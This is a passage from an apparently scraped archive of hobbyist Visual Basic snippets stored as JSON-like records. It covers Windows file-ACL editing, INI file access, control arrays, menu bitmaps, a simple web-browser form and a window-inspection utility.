DENY_ACCESS,\n Const REVOKE_ACCESS = 4& 'REVOKE_ACCESS, SET_AUDIT_SUCCESS, SET_AUDIT_FAILURE\n Private Type AclType\n AclRevision As Byte\n Sbz1 As Byte\n aclSize As Integer\n AceCount As Integer\n Sbz2 As Integer\n End Type\n Private Type AceType\n AceType As Byte\n AceFlags As Byte\n AceSize As Integer\n AceMask As Long\n Sid(99) As Byte\n End Type\n'The predefined ace types that go into the AceType field of an Ace header.\n Const ACCESS_ALLOWED_ACE_TYPE = &H0\n Const ACCESS_DENIED_ACE_TYPE = &H1\n Const SYSTEM_AUDIT_ACE_TYPE = &H2\n Const SYSTEM_ALARM_ACE_TYPE = &H3\n'The inherit flags that go into the AceFlags field of an Ace header.\n Const OBJECT_INHERIT_ACE = &H1\n Const CONTAINER_INHERIT_ACE = &H2\n Const NO_PROPAGATE_INHERIT_ACE = &H4\n Const INHERIT_ONLY_ACE = &H8\n Const VALID_INHERIT_FLAGS = &HF\n \nPrivate Declare Function FormatMessage Lib \"kernel32\" Alias \"FormatMessageA\" _\n (ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _\n ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _\n Arguments As Any) As Long\nDeclare Function LocalFree Lib \"kernel32\" (ByVal hMem As Long) As Long\n'Private Declare Function LookupAccountSid Lib \"advapi32.dll\" Alias _\n' \"LookupAccountSidA\" (ByVal system As String, pSid As Any, _\n' ByVal Account As String, ByRef AccSize As Long, ByVal Domain As String, _\n' ByRef domSize As Long, ByRef peUse As Long) As Boolean\nPrivate Declare Function LookupAccountName Lib \"advapi32.dll\" Alias _\n \"LookupAccountNameA\" (ByVal system As String, ByVal Account As String, _\n pSid As Any, ByRef sidSize As Long, ByVal Domain As String, _\n ByRef domSize As Long, ByRef peUse As Long) As Boolean\nPrivate Declare Function IsValidSid Lib \"advapi32.dll\" (pSid As Any) As Long\nPrivate Declare Function GetLengthSid Lib \"advapi32.dll\" (pSid As Any) As Long\nPrivate Declare Function GetLastError Lib \"kernel32.dll\" () As Long\n' pSD and pDACL always ByRef\nPrivate Declare Function GetFileSecurity Lib \"advapi32.dll\" Alias \"GetFileSecurityA\" (ByVal szFileName As String, ByVal reqtype As Long, pSD As Any, ByVal bufsiz As Long, bufneed As Long) As Long\nPrivate Declare Function SetFileSecurity Lib \"advapi32.dll\" Alias \"SetFileSecurityA\" (ByVal szFileName As String, ByVal reqtype As Long, pSD As Any) As Long\nPrivate Declare Function GetSecurityDescriptorDacl Lib \"advapi32.dll\" (pSD As Any, ByRef pDaclPres As Long, pDacl As Any, ByRef bDaclDefaulted As Long) As Long\nPrivate Declare Function SetSecurityDescriptorDacl Lib \"advapi32.dll\" (pSD As Any, ByVal pDaclPres As Long, pDacl As Any, ByVal bDaclDefaulted As Long) As Long\n' Declare Function GetAclInformation Lib \"advapi32.dll\" (pAcl As ACL, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Integer) As Long\nPrivate Declare Function InitializeSecurityDescriptor Lib \"advapi32.dll\" (pSD As Any, ByVal dwRevision As Long) As Long\nPrivate Declare Function InitializeAcl Lib \"advapi32.dll\" (pAcl As Any, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long\n'rivate Declare Function AddAccessAllowedAce Lib \"advapi32.dll\" (pAcl As Any, ByVal AceRev As Long, ByVal mask As Long, pSid As Any) As Long\n'rivate Declare Function AddAccessDeniedAce Lib \"advapi32.dll\" (pAcl As Any, ByVal AceRev As Long, ByVal mask As Long, pSid As Any) As Long\nPrivate Declare Function GetAce Lib \"advapi32.dll\" (pAcl As Any, ByVal dwAceIndex As Long, ppAce As Long) As Long\nPrivate Declare Function AddAce Lib \"advapi32.dll\" (pAcl As Any, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, pAceList As Any, ByVal nAceListLength As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (pDest As Any, pSource As Any, ByVal ByteLen As Long)\n' *********************************************************************************************\n' *********************************************************************************************\n' *********************************************************************************************\nPublic Function SetAccessRights(sSrv As String, sFilename As String, _\n szAccount As String, fNewSetRev As fNSR) As Boolean\n Dim x as Long, i as Long, lRet As Long, long1 As Long\n Dim Sid(100) As Byte, SIS(100) As Byte\n Dim sisSize As Long, sidSize As Long, peUse As Long\n Dim sDom As String, domSize As Long\n Dim SecDsc() As Byte\n Dim pSD As Long, DACLparm1 As Long, DACLparm2 As Long\n Dim pDacl As Long\n Dim ACL As AclType\n Dim NewACL() As Byte\n Dim aclSize As Long, aclRev As Long\n Dim pAce As Long, numAce As Long\n Dim ACE As AceType\n Dim AceSize As Long, AccType As Long, AccMask As Long\n \n SetAccessRights = False\n On Error GoTo 0\n \n domSize = 25\n sDom = String(domSize, \" \") ' make vb alloc memory\n \n sisSize = 100 ' get sid of \"system\"\n If LookupAccountName(sSrv + vbNullChar, \"System\" + vbNullChar, SIS(0), sisSize, _\n sDom, domSize, peUse) = 0 Then DisplayError \"LookupAccountName - 1\", GetLastError(): Exit Function\n If IsValidSid(SIS(0)) = 0 Then DisplayError \"LookupAccountName - SIS\", GetLastError(): Exit Function\n \n sidSize = 100 ' get sid of szAccount\n If LookupAccountName(sSrv + vbNullChar, szAccount + vbNullChar, Sid(0), sidSize, _\n sDom, domSize, peUse) = 0 Then DisplayError \"LookupAccountName - 2\", GetLastError(): Exit Function\n If IsValidSid(Sid(0)) = 0 Then DisplayError \"LookupAccountName - SID\", GetLastError(): Exit Function\n sidSize = GetLengthSid(Sid(0))\n'1: ------------- get the D-ACL --------------------------\n SecDsc = String(2000, \" \")\n If GetFileSecurity(sFilename & vbNullChar, DACL_SECURITY_INFORMATION, _\n SecDsc(0), 4000, long1) = 0 Then DisplayError \"GetFileSecurity\", GetLastError(): Exit Function\n DACLparm1 = 0\n If GetSecurityDescriptorDacl(SecDsc(0), DACLparm1, pDacl, DACLparm2) = 0 Then DisplayError \"GetSecurityDescriptorDacl\", GetLastError(): Exit Function\n\t' pDacl is now a pointer to the DACL in SecDsc() \n If DACLparm1 > 0 Then\n CopyMemory ACL, ByVal pDacl, 8 'Now copy to read the contents of the acl\n aclRev = ACL.AclRevision\n aclSize = ACL.aclSize\n Else\n ACL.AceCount = 0\n aclRev = ACL_REVISION\n aclSize = 0\n End If\n'2: ------------- Create a new ACL --------------------------\n aclSize = aclSize + 200\n NewACL = String(aclSize/2, \" \") ' make vb alloc memory\n If InitializeAcl(NewACL(0), aclSize, aclRev) = 0 Then DisplayError \"InitializeAcl\", GetLastError(): Exit Function\n aclSize = 8\n'3: ------------- Copy the ACEs except our ones -------------\n For i = 0 To 99\n ACE.Sid(i) = 0\n Next i\n aclRev = ACL.AclRevision\n For x = 0 To ACL.AceCount - 1\n If GetAce(ByVal pDacl, x, pAce) = 0 Then Exit Function\n CopyMemory ACE, ByVal pAce, 8\n AceSize = ACE.AceSize\n CopyMemory ACE, ByVal pAce, AceSize\n long1 = 0\n If fNewSetRev = f_NEW_FULL Then 'when new, still copy 'system'\n If CompareSid(ACE.Sid, SIS) Then long1 = 1\n Else 'otherwise, copy all except szAccount\n If Not CompareSid(ACE.Sid, Sid) Then long1 = 1\n End If\n If long1 = 1 Then\n If AddAce(NewACL(0), aclRev, -1, ByVal pAce, AceSize) = 0 Then DisplayError \"AddAce - copy\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n End If\n Next x\n'4: ------------- Put in our ACEs --------------------------\n If fNewSetRev <> f_REVOKE Then\n AceSize = 8 + sidSize\n ACE.AceType = ACCESS_ALLOWED_ACE_TYPE ' byte 0\n ACE.AceSize = AceSize ' byte 2+3, mask = 4-7\n ACE.AceMask = IIf(fNewSetRev = f_SET_CHANGE, &H1301BF, &H1F01FF) 'Change, Full\n CopyMemory ACE.Sid(0), Sid(0), sidSize\n \n ACE.AceFlags = INHERIT_ONLY_ACE Or OBJECT_INHERIT_ACE\n If AddAce(NewACL(0), aclRev, 0, ACE, AceSize) = 0 Then DisplayError \"AddAce - new1\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n \n ACE.AceFlags = CONTAINER_INHERIT_ACE ' byte 1 - objectitself\n If AddAce(NewACL(0), aclRev, 0, ACE, AceSize) = 0 Then DisplayError \"AddAce - new2\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n End If\n'5: ------------- Write back the D-ACL----------------------\n CopyMemory NewACL(2), aclSize, 2\n If InitializeSecurityDescriptor(SecDsc(0), SECURITY_DESCRIPTOR_REVISION) = 0 Then _\n\t\t\tDisplayError \"InitializeSecurityDescriptor\", GetLastError(): Exit Function\n If SetSecurityDescriptorDacl(SecDsc(0), DACLparm1, NewACL(0), DACLparm2) = 0 Then _\n\t\t\tDisplayError \"SetSecurityDescriptorDacl\", GetLastError(): Exit Function\n If SetFileSecurity(sFilename & vbNullChar, DACL_SECURITY_INFORMATION, SecDsc(0)) = 0 Then _\n\t\t\tDisplayError \"SetFileSecurity\", GetLastError(): Exit Function\n SetAccessRights = True\nEnd Function\nPrivate Sub DisplayError(sApi As String, lCode As Long)\n Dim sMsg As String\n Dim sRtrnCode As String\n Dim lFlags As Long\n Dim lRet As Long\n Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000\n sRtrnCode = Space$(256)\n lFlags = FORMAT_MESSAGE_FROM_SYSTEM\n lRet = FormatMessage(lFlags, 0&, lCode, 0&, sRtrnCode, 256&, 0&)\n If lRet = 0 Then MsgBox Err.LastDllError\n sMsg = \"Error: \" & sApi & vbCrLf\n sMsg = sMsg & \"Code: \" & lCode & vbCrLf\n sMsg = sMsg & \"Desc: \" & sRtrnCode\n MsgBox sMsg\nEnd Sub\nPrivate Function CompareSid(arr1() As Byte, Arr2() As Byte) As Boolean\nDim i As Long, len1 As Long, len2 As Long\n On Error GoTo 0\n CompareSid = False\n \n If IsValidSid(arr1(0)) = 0 Then Exit Function\n len1 = GetLengthSid(arr1(0))\n If IsValidSid(Arr2(0)) = 0 Then Exit Function\n len2 = GetLengthSid(Arr2(0))\n If len1 <> len2 Then Exit Function\n For i = 0 To len1 - 1\n If arr1(i) <> Arr2(i) Then Exit For\n Next i\n If i = len1 Then CompareSid = True\nEnd Function\n"},{"WorldId":1,"id":1333,"LineNumber":1,"line":"Sub ScreenToClipboard()\nConst VK_SNAPSHOT = &H2C\nCall keybd_event(VK_SNAPSHOT, 1, 0&, 0&)\nEnd Sub"},{"WorldId":1,"id":1357,"LineNumber":1,"line":"'Create a new project.\n'Add a command button.\n'Name the button...\n' Command1(0)\n'As if it were an aray.\n'Its sometimes easyier to create\n'an aray to begin with. If you do\n'be sure to delete all button except\n'Command1(0).\n'The Code...\nPrivate Sub Command1_Click(Index As Integer)\nStatic I As Integer\nI = I + 1\nLoad Command1(I)\nCommand1(I).Left = Command1(I - 1).Left + 200\nCommand1(I).Top = Command1(I - 1).Top + 600\nCommand1(I).Caption = \"New Button !\"\nCommand1(I).Visible = True\nEnd Sub\n'At runtime this will create a new\n'command button.\n'To add additional function you could add\n'an IF statement. As follows...\nPrivate Sub Command1_Click(Index As Integer)\nOn Error GoTo Handler1\n'Create new button\nStatic I As Integer\nI = I + 1\nLoad Command(I)\nCommand(I).Left = 2460\nCommand(I).Top = 5520\nCommand(I).Caption = \"For Real This Time\" ' change the caption\nCommand(I).Visible = True\n' Code to unload the form when the new button is clicked\nIf Command(1) Then\nUnload Me\nEnd If\nHandler1:\nEnd Sub\n'Email Marc at 3dtech@acwn.com with any questions.\n'try this with other controls !"},{"WorldId":1,"id":1363,"LineNumber":1,"line":"'* Sorry for stealing code, but I couldn't help it when I saw the garbage\n'* routine called BMTEncrypt.\nFunction BTMEncrypt(text, types)\n For god = 1 To Len(text)\n If types = 0 Then\n Current$ = Asc(Mid(text, god, 1)) - god\n Else\n Current$ = Asc(Mid(text, god, 1)) + god\n End If\n Process$ = Process$ & Chr(Current$)\n Next god\n BTMEncrypt = Process$\nEnd Function\n"},{"WorldId":1,"id":1377,"LineNumber":1,"line":"Create a form with a dbgrid(DBGrid1), and a listbox(List1). Populate the listbox with the choices you need the user to select from. Set the visible property on the listbox to false. Set the button property on one of the DBGrid columns to true. This example is using column 2. If you want to limit the input to the DBGrid to just the items in the listbox, set the enabled property to false, otherwise, users can type in their own data.\nPrivate Sub DBGrid1_ButtonClick(ByVal ColIndex As Integer)\n Dim intTop As Integer 'used for positioning the list box for display.\n intColIdx = ColIndex 'this is the column of the dbgrid you are in\n If blnListShow = False Then 'if the list is not showing then...\n blnListShow = True\n List1.Left = DBGrid1.Columns(ColIndex).Left + 250 'you may have to play \n 'with this a little to get it \n 'positioned just right.\n intTop = DBGrid1.Top + (DBGrid1.RowHeight * (DBGrid1.Row + 2)) \n List1.Top = intTop 'position the list box just below the row you are in\n List1.Width = DBGrid1.Columns(ColIndex).Width + 15 'setting the width of\n 'the listbox to display \n 'within the column\n ' width\n List1.Visible = True 'show the listbox\n List1.SetFocus\n \n Else 'if the list is shown, hide it\n blnListShow = False\n List1.Visible = False\n End If\nEnd Sub\n\nPrivate Sub DBGrid1_KeyDown(KeyCode As Integer, Shift As Integer)\n 'This is to display the list when the user presses the down arrow key.\n 'This makes it easier to make a selection during data entry. The user\n 'doesn't have to go to the mouse to click the button.\n If DBGrid1.Col = 2 Then 'change the number here to your appropriate column \n 'that has the button, other wise you will display the\n ' listbox on the wrong column\n If KeyCode = vbKeyDown Then\n Call DBGrid1_ButtonClick(DBGrid1.Col)\n End If\n End If\nEnd Sub\n\nPrivate Sub Form_Click()\n 'hide the listbox if the user clicks elsewhere\n List1.Visible = False 'hide the list\nEnd Sub\n\nPrivate Sub Form_Load()\n blnListShow = False 'initialize the variable\nEnd Sub\n\nPrivate Sub Form_Resize()\n 'hide the list if they resize the form\n List1.Visible = False 'hide the list\nEnd Sub\n\nPrivate Sub List1_Click()\n 'insert the selected list item into the dbgrid, and hide the listbox\n If intKeyCode <> vbKeyUp And intKeyCode <> vbKeyDown Then\n DBGrid1.Columns(intColIdx).Text = List1.Text 'set the value of the dbgrid\n List1.Visible = False 'hide the list\n End If\nEnd Sub\n\nPrivate Sub List1_KeyDown(KeyCode As Integer, Shift As Integer)\n 'handle the keyboard events\n intKeyCode = KeyCode\n If intKeyCode = vbKeyReturn Then\n DBGrid1.Columns(intColIdx).Text = List1.Text 'set the value of the dbgrid\n List1.Visible = False 'hide the list\n Else\n If intKeyCode = vbKeyEscape Then\n List1.Visible = False\n End If\n End If \nEnd Sub\n\nPrivate Sub List1_LostFocus()\n'hide the list if you lose focus\n blnListShow = False\n List1.Visible = False\nEnd Sub\n"},{"WorldId":1,"id":1382,"LineNumber":1,"line":"Function mfncGetFromIni(strSectionHeader As String, strVariableName As String, strFileName As String) As String\n '**********************************************************************************************\n ' DESCRIPTION:Reads from an *.INI file strFileName (full path & file name)\n ' RETURNS:The string stored in [strSectionHeader], line beginning\n ' strVariableName=\n'**********************************************************************************************\n ' Initialise variable\n Dim strReturn As String\n ' Blank the return string\n strReturn = String(255, Chr(0))\n 'Get requested information, trimming the returned\n ' string\n mfncGetFromIni = Left$(strReturn, GetPrivateProfileString(strSectionHeader, ByVal strVariableName, \"\", strReturn, Len(strReturn), strFileName))\nEnd Function\nFunction mfncWriteIni(strSectionHeader As String, strVariableName As String, strValue As String, strFileName As String) As Integer\n '*****************************************************************************************************\n ' DESCRIPTION:Writes to an *.INI file called strFileName (full path & file name)\n ' RETURNS:Integer indicating failure (0) or success (other) to write\n '*****************************************************************************************************\n mfncWriteIni = WritePrivateProfileString(strSectionHeader, strVariableName, strValue, strFileName)\nEnd Function"},{"WorldId":1,"id":1394,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim hMenu As Long, hSubMenu As Long, MenuID As Long\n\n'**************Bonus Code Below*****************************************\n'This bonus code adds a bitmap to the form's main drop menu. Click the\n'titlebar with the right mouse button to see thr effect.\n hMenu = GetMenu(Form1.hwnd)\n hMenu = GetSystemMenu(hwnd, 0)\n MenuID = 0\n 'MenuID = &HF120 'This places the bitmap as first, but looks distorted\n 'when the option is not minimized. This is the \"restore\" option.\nX% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image1.Picture))\n'**************Bonus Code above*****************************************\n\n hMenu = GetMenu(Form1.hwnd)\n hSubMenu = GetSubMenu(hMenu, 0) 'The \"0\" here is for the first menu Item.\n 'A \"1\" can be used for the second and a \"3\"\n 'for the third and so on...\n 'You may not want all menu items to have images\n 'so you can skip a number\n \n\n MenuID = GetMenuItemID(hSubMenu, 0) 'The \"0\" here is for the first SUB menu Item.\n 'A \"1\" can be used for the second and a \"3\"\n 'for the third and so on...\n 'You may not want all SUB menu items to have images\n 'so you can skip a number\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image1.Picture))\n MenuID = GetMenuItemID(hSubMenu, 1)\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image2.Picture))\n \n MenuID = GetMenuItemID(hSubMenu, 2)\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image3.Picture))\n\n'Note: The entire code above can be copied and pasted below with\n'different numbers for different menus and sub menus\n\n'REMEMBER, go to the VB Menu editor (Ctrl+E) and create a menu item.\n'Then create 3 sub menus. It doesn't matter what you\n'name any of the menus or menu options.\n'Tip: Bitmaps work best. GIFs that have invisible colors do not appear invisible\n'and icon (*.ico) do not work at all. Use Image controls instead\n'of Picture controls to save resources.\n'Comments to opus@bargainbd.com\n'http://bargainbd.com/opusopus/top.htm\nEnd Sub\n"},{"WorldId":1,"id":1405,"LineNumber":1,"line":"Dim CountCard As Integer\n Private Sub Command1_Click()\nIf CountCard >= 69 Then CountCard = 1\n'CountCard can be any number from 1 to 68\n'Each number equals different DSeck image.\n\n Deck1.ChangeCard = CountCard 'Change the Picture property of Deck1\n Image1.Picture = Deck1.Picture 'Copy the picture of Deck1\nLabel1.Caption = \"The number for this card is \" & CountCard\nCountCard = CountCard + 1\nEnd Sub\nPrivate Sub Form_Load()\nCountCard = 1\n 'the \"Destination pad\"\n Image1.Picture = Deck1.Picture 'Copy the picture of Deck1 to image1\nEnd Sub\n\n"},{"WorldId":1,"id":1415,"LineNumber":1,"line":"Step 1) Start up a project in VB... Make a new one\nStep 2) Goto 'Add Form', Double-Click on Web Browser\nStep 3) Goto Project1 Properties... And change the startup form to wWebBrowser1\nStep 4) Remove form1 (blank form).\nStep 5) Run the project and you got a full web browser with a toolbar and everything!!!"},{"WorldId":1,"id":1417,"LineNumber":1,"line":"*** paste into webfrm.frm in notepad after this line ***\nVERSION 5.00\nObject = \"{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0\"; \"SHDOCVW.DLL\"\nBegin VB.Form Webfrm \n BackColor = &H00000000&\n BorderStyle = 3 'Fixed Dialog\n Caption = \"Web Browser\"\n ClientHeight = 5295\n ClientLeft = 45\n ClientTop = 330\n ClientWidth = 7455\n BeginProperty Font \n Name = \"Tahoma\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 5295\n ScaleWidth = 7455\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.ListBox lstFavs \n Height = 255\n Left = 3960\n TabIndex = 11\n Top = 480\n Visible = 0 'False\n Width = 1335\n End\n Begin VB.CommandButton cmdAdd \n BackColor = &H80000005&\n Caption = \"Add to Favorites\"\n Height = 255\n Left = 6000\n Style = 1 'Graphical\n TabIndex = 10\n Top = 840\n Width = 1335\n End\n Begin VB.CommandButton cmdFav \n BackColor = &H80000005&\n Caption = \"Favorite\"\n Height = 255\n Left = 4320\n Style = 1 'Graphical\n TabIndex = 9\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdSearch \n BackColor = &H80000005&\n Caption = \"Search\"\n Height = 255\n Left = 5160\n Style = 1 'Graphical\n TabIndex = 8\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdForward \n BackColor = &H80000005&\n Caption = \"Forward\"\n Height = 255\n Left = 960\n Style = 1 'Graphical\n TabIndex = 7\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdHome \n BackColor = &H80000005&\n Caption = \"Home\"\n Height = 255\n Left = 3480\n Style = 1 'Graphical\n TabIndex = 6\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdReload \n BackColor = &H80000005&\n Caption = \"Reload\"\n Height = 255\n Left = 2640\n Style = 1 'Graphical\n TabIndex = 5\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdStop \n BackColor = &H80000005&\n Caption = \"Stop\"\n Height = 255\n Left = 1800\n Style = 1 'Graphical\n TabIndex = 4\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdBack \n BackColor = &H80000005&\n Caption = \"Back\"\n Height = 255\n Left = 120\n Style = 1 'Graphical\n TabIndex = 3\n Top = 120\n Width = 735\n End\n Begin VB.ComboBox txtUrl \n Height = 315\n Left = 720\n Style = 1 'Simple Combo\n TabIndex = 2\n Text = \"C:\\\"\n Top = 840\n Width = 5175\n End\n Begin SHDocVwCtl.WebBrowser WebBrowser1 \n Height = 3975\n Left = 120\n TabIndex = 0\n Top = 1200\n Width = 7215\n ExtentX = 12726\n ExtentY = 7011\n ViewMode = 1\n Offline = 0\n Silent = 0\n RegisterAsBrowser= 0\n RegisterAsDropTarget= 1\n AutoArrange = -1 'True\n NoClientEdge = 0 'False\n AlignLeft = 0 'False\n ViewID = \"{0057D0E0-3573-11CF-AE69-08002B2E1262}\"\n Location = \"\"\n End\n Begin VB.Label Label1 \n BackColor = &H00000000&\n Caption = \"Go To:\"\n ForeColor = &H80000005&\n Height = 255\n Left = 120\n TabIndex = 1\n Top = 840\n Width = 615\n End\nEnd\nAttribute VB_Name = \"Webfrm\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nDim FN As Integer\nPrivate Sub cmdAdd_Click()\nFN = FreeFile\nOpen \"c:\\favs.txt\" For Output As FN\nPrint #FN, txtUrl.Text & Chr(13)\nClose #FN\nEnd Sub\nPrivate Sub cmdBack_Click()\nOn Error Resume Next\nWebBrowser1.GoBack\nEnd Sub\nPrivate Sub cmdFav_Click()\nOn Error Resume Next\nFN = FreeFile\nOpen \"c:\\favs.txt\" For Input As FN\nlstFavs.Visible = True\nDo Until EOF(FN)\nLine Input #FN, NextLine$\nlstFavs.AddItem NextLine$\nLoop\nClose #FN\nEnd Sub\nPrivate Sub cmdForward_Click()\nOn Error Resume Next\nWebBrowser1.GoForward\nEnd Sub\nPrivate Sub cmdHome_Click()\nWebBrowser1.GoHome\nEnd Sub\nPrivate Sub cmdReload_Click()\nWebBrowser1.Refresh\nEnd Sub\nPrivate Sub cmdSearch_Click()\nWebBrowser1.GoSearch\nEnd Sub\nPrivate Sub cmdStop_Click()\nWebBrowser1.Stop\nEnd Sub\nPrivate Sub Form_Load()\nURL$ = \"c:\\\"\nWebBrowser1.Navigate URL$\nEnd Sub\nPrivate Sub lstFavs_Click()\ntxtUrl.Text = lstFavs.List(lstFavs.ListIndex)\ntxtUrl_KeyPress 13\nlstFavs.Visible = False\nClose #FN\nEnd Sub\nPrivate Sub txtUrl_KeyPress(KeyAscii As Integer)\nOn Error Resume Next\nIf KeyAscii = 13 Then\nURL$ = txtUrl.Text\nWebBrowser1.Navigate URL$\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1424,"LineNumber":1,"line":"**** Put this in a module ****\nFunction WindowSPY(WinHdl As TextBox, WinClass As TextBox, WinTxt As TextBox, WinStyle As TextBox, WinIDNum As TextBox, WinPHandle As TextBox, WinPText As TextBox, WinPClass As TextBox, WinModule As TextBox)\n'Call This In A Timer\nDim pt32 As POINTAPI, ptx As Long, pty As Long, sWindowText As String * 100\nDim sClassName As String * 100, hWndOver As Long, hWndParent As Long\nDim sParentClassName As String * 100, wID As Long, lWindowStyle As Long\nDim hInstance As Long, sParentWindowText As String * 100\nDim sModuleFileName As String * 100, r As Long\nStatic hWndLast As Long\n Call GetCursorPos(pt32)\n ptx = pt32.X\n pty = pt32.Y\n hWndOver = WindowFromPointXY(ptx, pty)\n If hWndOver <> hWndLast Then\n hWndLast = hWndOver\n WinHdl.Text = \"Window Handle: \" & hWndOver\n r = GetWindowText(hWndOver, sWindowText, 100)\n WinTxt.Text = \"Window Text: \" & Left(sWindowText, r)\n r = GetClassName(hWndOver, sClassName, 100)\n WinClass.Text = \"Window Class Name: \" & Left(sClassName, r)\n lWindowStyle = GetWindowLong(hWndOver, GWL_STYLE)\n WinStyle.Text = \"Window Style: \" & lWindowStyle\n hWndParent = GetParent(hWndOver)\n If hWndParent <> 0 Then\n wID = GetWindowWord(hWndOver, GWW_ID)\n WinIDNum.Text = \"Window ID Number: \" & wID\n WinPHandle.Text = \"Parent Window Handle: \" & hWndParent\n r = GetWindowText(hWndParent, sParentWindowText, 100)\n WinPText.Text = \"Parent Window Text: \" & Left(sParentWindowText, r)\n r = GetClassName(hWndParent, sParentClassName, 100)\n WinPClass.Text = \"Parent Window Class Name: \" & Left(sParentClassName, r)\n Else\n WinIDNum.Text = \"Window ID Number: N/A\"\n WinPHandle.Text = \"Parent Window Handle: N/A\"\n WinPText.Text = \"Parent Window Text : N/A\"\n WinPClass.Text = \"Parent Window Class Name: N/A\"\n End If\n hInstance = GetWindowWord(hWndOver, GWW_HINSTANCE)\n r = GetModuleFileName(hInstance, sModuleFileName, 100)\n WinModule.Text = \"Module: \" & Left(sModuleFileName, r)\n End If\nEnd Function\n****** END OF MODULE ******\n'Put this is notepad and rename is winspy.frm\nVERSION 5.00\nBegin VB.Form Form1 \nBackColor=&H00000000&\nCaption =\"Window SPY\"\nClientHeight=3480\nClientLeft =2280\nClientTop=1590\nClientWidth =4440\nLinkTopic=\"Form1\"\nScaleHeight =3480\nScaleWidth =4440\nBegin VB.Timer Timer1 \nInterval=10\nLeft=1080\nTop =1560\nEnd\nBegin VB.TextBox Text9 \nAppearance =0 'Flat\nBackColor=&H00000000&\nBeginProperty Font \nName=\"Arial\"\nSize=8.25\nCharset =0\nWeight =700\nUnderline=0'False\nItalic =0'False\nStrikethrough=0'False\nEndProperty\n\nForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=8\n Text=\"Text9\"\n Top =3000\n Width=4215\n End\n Begin VB.TextBox Text8 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=7\n Text=\"Text8\"\n Top =2640\n Width=4215\n End\n Begin VB.TextBox Text7 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=6\n Text=\"Text7\"\n Top =2280\n Width=4215\n End\n Begin VB.TextBox Text6 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=5\n Text=\"Text6\"\n Top =1920\n Width=4215\n End\n Begin VB.TextBox Text5 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=4\n Text=\"Text5\"\n Top =1560\n Width=4215\n End\n Begin VB.TextBox Text4 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=3\n Text=\"Text4\"\n Top =1200\n Width=4215\n End\n Begin VB.TextBox Text3 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=2\n Text=\"Text3\"\n Top =840\n Width=4215\n End\n Begin VB.TextBox Text2 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=1\n Text=\"Text2\"\n Top =480\n Width=4215\n End\n Begin VB.TextBox Text1 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=0\n Text=\"Text1\"\n Top =120\n Width=4215\n End\n End\n Attribute VB_Name = \"Form1\"\n Attribute VB_GlobalNameSpace = False\n 